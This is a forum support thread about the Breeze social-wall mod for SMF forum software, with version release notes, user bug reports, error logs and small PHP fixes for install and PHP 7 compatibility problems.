Title: Re: Breeze
Post by: FreitasA on April 15, 2017, 06:54:25 AM
PT-BR Translation :D
Title: Re: Breeze
Post by: Suki on April 18, 2017, 12:01:32 PM
New version 1.0.11

 - Add Turkish and Portuguese_Brazilian translations
 - Normalize and schemaless the support url
 - Remove the "live from the support site" rss box
Title: Re: Breeze
Post by: Shkic on April 26, 2017, 05:49:04 PM
Anyone with a SMF 2.1 test install who wants to help out debugging it is welcome to get the latest package from github (https://github.com/MissAllSunday/Breeze).

Can't get purpose for Recent activity where we can find: Your buddies doesn't have any activities recorded.

Despite that, everything seems work fine in 2.1
Title: Re: Breeze
Post by: Suki on April 27, 2017, 09:08:38 AM
The recent activity is based on your buddies activity but it must be activated by the person you follow, if that person doesn't want to share their activity then nothing will appear.

I don't remember exactly how many activities are tracked but they are a few more than 1.0 version. You can select what activities to share on your profile page. 
Title: Re: Breeze
Post by: Shkic on April 28, 2017, 07:20:00 AM
Oh I see now.

But is it not better to show everything by default, and let members to hide their activity if they do not want to appear in Wall?
Title: Re: Breeze
Post by: drfun on May 02, 2017, 11:14:02 AM
I just installed the new version of the breeze mod (1.0.11) and it crashed my forum. This is the error message it displayed.
Quote
Template Parse Error!
There was a problem loading the /Themes/default/languages/BreezeAdmin.english.php template or language file. Please check the syntax and try again - remember, single quotes (') often have to be escaped with a slash (\). To see more specific error information from PHP, try accessing the file directly.

You may want to try to refresh this page or use the default theme.
syntax error, unexpected ','

Any help on how to fix this will be appreciated.
Thanks
Title: Re: Breeze
Post by: Shambles on May 02, 2017, 12:38:37 PM
That's interesting.

The faulty line is

Code: [Select]
$txt['Breeze_page_welcome'] = 'This is your &quot;Breeze Admin Panel&quot;.  From here, you can edit the settings for Breeze If you have any trouble, feel free to <a href="', Breeze::$supportSite ,'" target="_blank" class="new_win">ask for support</a> on the author\'s site.';
.. which with my limited skills should be

Code: [Select]
$txt['Breeze_page_welcome'] = 'This is your &quot;Breeze Admin Panel&quot;.  From here, you can edit the settings for Breeze If you have any trouble, feel free to <a href="'. Breeze::$supportSite .'" target="_blank" class="new_win">ask for support</a> on the author\'s site.';
Similarly with a further occurence later in that file.
Title: Re: Breeze
Post by: Suki on May 05, 2017, 05:21:14 PM
New version:

1.0.12 May 5, 2017
- Concatenation on $txt strings
- Add a "live from the support site" atom box
- Use caret and atwho min versions on single status page
- Update atwho.js
Title: Re: Breeze
Post by: drfun on May 06, 2017, 08:13:33 AM
Thanks for the update, the new V 1.0.12, work just fine.
Title: Re: Breeze
Post by: stoneageman on June 04, 2017, 11:14:09 AM
Installed V1.0.12 with no errors using SMF 2.0.14 and PHP7 but after enabling the mod in ones settings and hitting save get the following error:
"Function name must be a string"
Not expecting a fix, just thought I'd mention it
Title: Re: Breeze
Post by: Kindred on June 04, 2017, 03:30:52 PM
What version of php?
Title: Re: Breeze
Post by: stoneageman on June 04, 2017, 04:55:30 PM
7.0
Title: Re: Breeze
Post by: chrishicks on March 11, 2018, 05:42:53 PM
I know this topic hasn't been posted in in quite a while but I was wondering if someone could tell me if it's possible to eliminate the general wall completely. I've had some issues turn up today because of it(general wall ignores users ignore lists which opens a can of worms for people) and would just prefer to remove the general wall if I can to kill the issue because I'd hate to dump the mod.
Title: Re: Breeze
Post by: Suki on March 12, 2018, 12:02:39 PM
That counts as a bug, will take a look and release a fix for it. In the meantime open your Breeze/BreezeWall.php file and find this part:

if ($user_info['is_guest'])
         redirectexit();

remove the if ($user_info['is_guest']) and that will guide your users to your boardindex whenever they attempt to enter the general wall.


Theres also a setting for enabling/disabling the general wall, try using that option first.
Title: Re: Breeze
Post by: chrishicks on March 12, 2018, 05:11:43 PM
Thank you for the reply Suki. For now I did the code edit as I don't have a setting in Admin Panel for enabling/disabling the general wall. For me it's in each users profile that they can turn on/off themselves which is how my issue started.

Main admin:

https://imgur.com/vz5QUau
https://imgur.com/stu3DUo

And in each users profile:

https://imgur.com/qq8Igu6
Title: Re: Breeze
Post by: Suki on March 13, 2018, 12:56:56 PM
Ohh, I see, will include an admin setting for it too. Thank you for reporting it.
Title: Re: Breeze
Post by: Suki on March 17, 2018, 02:35:07 PM
New version 1.0.13:

Code: [Select]
1.0.13 March 17, 2018
- Add admin setting for the general wall
- Prevent loading status and activity from users on your ignored list.

To upgrade uninstall any previous version and install the current one.
Title: Re: Breeze
Post by: chrishicks on March 20, 2018, 01:45:06 PM
Thank you for the update Suki.
Title: Re: Breeze
Post by: jack001 on June 28, 2018, 01:39:50 PM
Updated from smf 2.0.15 to 2.1 beta4 and encountered this error. It seems i forgot to uninstall the mod. What should i do now?

Field 'breeze_profile_views' doesn't have a default value
File: /home/*.*/public_html/Sources/Subs-Members.php
Line: 710
Title: Re: Breeze
Post by: jack001 on June 28, 2018, 01:48:04 PM
ok. now i messed up everything. tried installing Breeza and i am stuck with the error across whole forum. Kindly help me resolve this. can't uninstall it as well.

Unknown column 'mem.gender' in 'field list'
File: /home/*.*/public_html/Sources/Breeze/BreezeQuery.php
Line: 877
Title: Re: Breeze
Post by: Suki on June 28, 2018, 05:32:12 PM
There is an specific version of Breeze for SMF 2.1, try using that but be aware that is still in development: https://github.com/MissAllSunday/Breeze/archive/develop.zip
Title: Re: Breeze
Post by: Numeriku on August 19, 2018, 05:07:37 PM
Hello, i would like to report about something, installation went fine with no errors, turned on all options for breeze. But i am getting the following errors behind the scenes, when i try to post something it does not go through.

This is what happens when i try to post
(https://ksource.asia/press/images/2018/08/19/4beb8f32e1383cf4eb6b3d29ca5d39cb.md.png) (https://ksource.asia/press/image/NtlG)

My error log is full of this, i suspect this is the issue
Code: [Select]
8: Undefined property: BreezeAjax::$ArrayApply File: /xxx/xxx/xxxxx/www/ksource.asia/Sources/Breeze/BreezeAjax.php
Line: 106

Hope i can get some help.

Edit - Forget to add these, running php 7 with smf 2.0.15
Title: Re: Breeze
Post by: Numeriku on August 20, 2018, 11:08:34 AM
For future members who would like to install this mod, php 7 is not supported, moving back to php 5.6 works.
Title: Re: Breeze
Post by: Suki on August 26, 2018, 05:58:38 PM
New version (https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.14):

1.0.14 August  26, 2018
- Add support for PHP 7.
Title: Re: Breeze
Post by: Skinty on October 01, 2018, 08:10:45 AM
New version (https://github.com/MissAllSunday/Breeze/releases/tag/v1.0.14):

1.0.14 August  26, 2018
- Add support for PHP 7.

I am unable to get this working. It seems to install OK and I get the message that it does. But then a few seconds later it gets redirected to another message that says

An Error Has Occurred!
Unable to load the 'BreezeAdmin' template.

I have changed all the permissions to make everything writable but no luck. Nor do I see anything different when looking at someone's profile.
Title: Re: Breeze
Post by: Suki on October 01, 2018, 11:13:58 AM
Is this for SMF 2.0.x?

Make sure the following files are present on your themes/default/ folder:

Breeze.template.php   
BreezeAdmin.template.php   
BreezeFunctions.template.php

If not, add them there.
Title: Re: Breeze
Post by: Tricky-Ricky on October 23, 2018, 12:11:52 PM
Hi suki can you please update the sinple portal block from page 2

Cheers
Title: Re: Breeze
Post by: Suki on October 24, 2018, 12:27:57 PM
Oh my! it certainly needs an update, will see if I can do it over the weekend.
Title: Re: Breeze
Post by: Tricky-Ricky on October 24, 2018, 12:28:46 PM
Thanks your a star  ;)
Title: Re: Breeze
Post by: Tricky-Ricky on November 21, 2018, 11:14:12 AM
Sorry Suki im gona bump this any chance of an update on simple portal block??
Title: Re: Breeze
Post by: Suki on November 24, 2018, 12:58:03 PM
Yeah, don't have too much time these days.

If you mean the block from https://www.simplemachines.org/community/index.php?topic=520127.msg3681888#msg3681888

It should still work, I just tested in with an SP block
Title: Re: Breeze
Post by: Tricky-Ricky on November 24, 2018, 06:38:22 PM
Strange I must be doing something wrong I keep getting an error Function name must be a string.
Title: Re: Breeze
Post by: Suki on November 25, 2018, 10:51:07 AM
What PHP version are you using?
Title: Re: Breeze
Post by: Tricky-Ricky on November 27, 2018, 10:37:55 PM
I'm currently using 7.0
Title: Re: Breeze
Post by: Sir Osis of Liver on August 12, 2019, 11:12:19 PM
Running Breeze 1.0.14 in 2.0.15 php 7.0.33.  Admin -> Members is broken, getting this error -

 syntax error, unexpected '||' (T_BOOLEAN_OR)

Error log:

eval disabled -

/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: description
/forum/Themes/default/GenericMenu.template.php
Line: 303

/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: title
File: /forum/Themes/default/GenericMenu.template.php
Line: 291

eval enabled -

/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: description
/forum/Themes/default/languages/Breeze.english.php (generic_menu_sidebar_above sub template - eval?)
Line: 303

/forum/index.php?action=admin;area=viewmembers;d025845c9dbc=989f13867ef19d84520afb46d821e575
Undefined index: title
/forum/Themes/default/languages/Breeze.english.php (generic_menu_sidebar_above sub template - eval?)
Line: 291


Is this mod still being supported?
Title: Re: Breeze
Post by: Arantor on August 13, 2019, 02:36:25 AM
Since this mod doesn’t edit GenericMenu.template.php (and the with-eval statement is just lies which is why it says “eval?”), it’s not this mod...
Title: Re: Breeze
Post by: Sir Osis of Liver on August 13, 2019, 05:07:03 PM
Crap, that's what I was afraid of.  Now I'll have to back them out one at a time until I get the bugger.  No doubt it'll be the last one. >:(

GenericMenu.template.php is core, hasn't been modded (we started with clean install).  Replaced it anyway from upgrade package, same problem. ???

Title: Re: Breeze
Post by: Arantor on August 13, 2019, 05:18:19 PM
The undefined errors are because something has mis-configured the admin menu code (this is trivially easy to do by accident)

The syntax error is more troubling, but needs more info as to where and how.
Title: Re: Breeze
Post by: Sir Osis of Liver on August 13, 2019, 05:34:10 PM
That's all it's giving me, no corresponding error in log.  Uninstalled Breeze, same errors, but now eval is referencing O'Hara Youtube Embed.  I'll have to uninstall the rest to find it.
Title: Re: Breeze
Post by: Arantor on August 13, 2019, 05:40:25 PM
Leave eval off, it lies in every case and only slows your site down. (It was a good idea in 2003 but the world has moved on.)

Bit concerned that you're not getting the real fatal error in some log somewhere.
Title: Re: Breeze
Post by: Sir Osis of Liver on August 13, 2019, 06:01:01 PM
Less work to dump the install, uploading clean package now.